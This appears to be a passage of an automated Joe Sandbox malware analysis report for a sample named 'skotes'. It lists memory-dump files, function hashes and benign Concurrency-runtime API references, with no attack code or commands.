Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: d24da7cdf71cf82cec9a3323930840a19e3548b6ac9e735b95ce60ee2c91ba1f
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: F5F0A771200B109FE677BB698811F7A23D49F41711F04C45EE41B9F542CE24E942CB40

Function 0037EFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 0037EFD1

Part of subcall function 0037F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0037F989
Part of subcall function 0037F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0037F9C0
Part of subcall function 0037F968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0037F9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0037EFDD

Part of subcall function 0037F40F: Concurrency::critical_section::unlock.LIBCMT ref: 0037F433

Concurrency::Context::Block.LIBCONCRT ref: 0037EFE2

Part of subcall function 00380366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00380368

Concurrency::critical_section::lock.LIBCONCRT ref: 0037F002

Part of subcall function 0037F891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0037F8AC
Part of subcall function 0037F891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 0037F8B7

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: 2aea6f6ed57d33d2ce1bfabe714b9cbf2cfe3039c911f8c3cacec293a9f11a12
Instruction ID: b0311fb49701af3fb7906b77d6b8d97f62614763264aa5d13aa15d34053c9169
Opcode Fuzzy Hash: 2aea6f6ed57d33d2ce1bfabe714b9cbf2cfe3039c911f8c3cacec293a9f11a12
Instruction Fuzzy Hash: 75E04F34900605AFCB5AFB20C49566DFB61BF45360B14C359E47A1B2E2CF386E4ACB81

Function 0039F1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0039F232
__freea.LIBCMT ref: 0039F298

Part of subcall function 0039B04B: RtlAllocateHeap.NTDLL(00000000,7F551698,?,?,0037D3FC,7F551698,?,00377A8B,?,?,?,?,?,?,00367465,?), ref: 0039B07E

Strings

Z9,m9, xrefs: 0039F1D2

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: Z9,m9
API String ID: 809856575-1690640081
Opcode ID: a4def76f0581080db70d5f2a2b2a3bf20e89a7551a2894490efda40ee0911381
Instruction ID: bd4860ea946b0259bdeaf0b8e88b5f560ef75c855bcdddc83be9c229db4ef7ed
Opcode Fuzzy Hash: a4def76f0581080db70d5f2a2b2a3bf20e89a7551a2894490efda40ee0911381
Instruction Fuzzy Hash: B731D17590021AAFDF229F65CC41EAFBBA9EF80310F054528FC54EB251DB348D51CBA0

Function 00391704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00391764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 003917AF

Strings

pContext, xrefs: 003917A7

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 5d6325874f7684f862e002211478198151f145389b82fb6d996a3a8edcb49acf
Instruction ID: e25c8dcb7bbb2eab32b193b212ffd2694185671dca92948bd372d59c0dcc215a
Opcode Fuzzy Hash: 5d6325874f7684f862e002211478198151f145389b82fb6d996a3a8edcb49acf
Instruction Fuzzy Hash: A3112936B002169BCF1BFF98C4859AE7769AF84364B054069ED02BB342DB74ED05CBD0

Function 00380C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00380CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 00380D2A

Strings

p[<, xrefs: 00380CCF

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[<
